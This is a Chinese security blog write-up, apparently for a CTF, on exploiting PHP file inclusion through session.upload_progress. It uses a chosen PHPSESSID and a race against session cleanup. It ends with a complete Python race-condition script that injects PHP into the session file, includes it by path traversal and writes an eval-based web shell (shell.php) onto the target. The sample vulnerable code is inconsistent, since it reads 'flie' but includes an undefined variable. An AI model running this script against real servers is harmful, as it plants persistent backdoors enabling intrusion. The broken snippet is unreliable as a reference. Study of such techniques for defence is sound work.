PHP Session.upload_progress
0x01 前言
本文主要是利用PHP中的session.upload_progress
功能作为跳板,根据参考文件描述所进行的文件包含漏洞利用复现。仅供自我学习使用,侵权立删
由于首先需要了解关于session及其反序列化等相关的知识,所以对它们先进行介绍。
Session 上传进度
注意: 此特性自 PHP 5.4.0 后可用。
session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的
session.upload_progress.enabled = on
// 默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
0x02 利用 upload_progress 文件包含
源码:
<?php
$file = $_GET['flie'];
include "$b";
?>
可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。
其实,我们可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
1. 代码里没有session_start()时如何创建session文件呢?
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
session还有一个选项,默认情况下session.use_strict_mode
值是0,此时用户是可以自己定义Session ID
的。比如,我们在Cookie里设置PHPSESSID=Qftm
,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_Qftm
。而且需要一点点技巧就可以不需要进行session_start()。
查看官方给的案列
PHP_SESSION_UPLOAD_PROGRESS的官方手册
http://php.net/manual/zh/session.upload-progress.php
一个上传进度数组的结构的例子
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在session中存放的数据看上去是这样子的:
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
Bypass思路分析
从官方的案例和结果可以看到session中一部分数据(session.upload_progress.name
)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=Qftm
(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS
,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=Qftm,所以Session文件将会自动创建。
2. 文件上传后,session文件内容立即清空,如何进行rce呢?
事实上并不能完全的利用成功,因为session.upload_progress.cleanup = on
这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。
Bypass思路梳理
(1)upload file
files={'file': ('a.txt', "xxxxxxx")}
(2)设置cookie PHPSESSID
session.use_strict_mode=0造成Session ID可控
PHPSESSID=Qftm
(3)POST一个字段PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同时,触发系统初始化session
"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
(4)session.upload_progress.cleanup = on
多线程,时间竞争
3. 攻击脚本
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.33.6.145/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)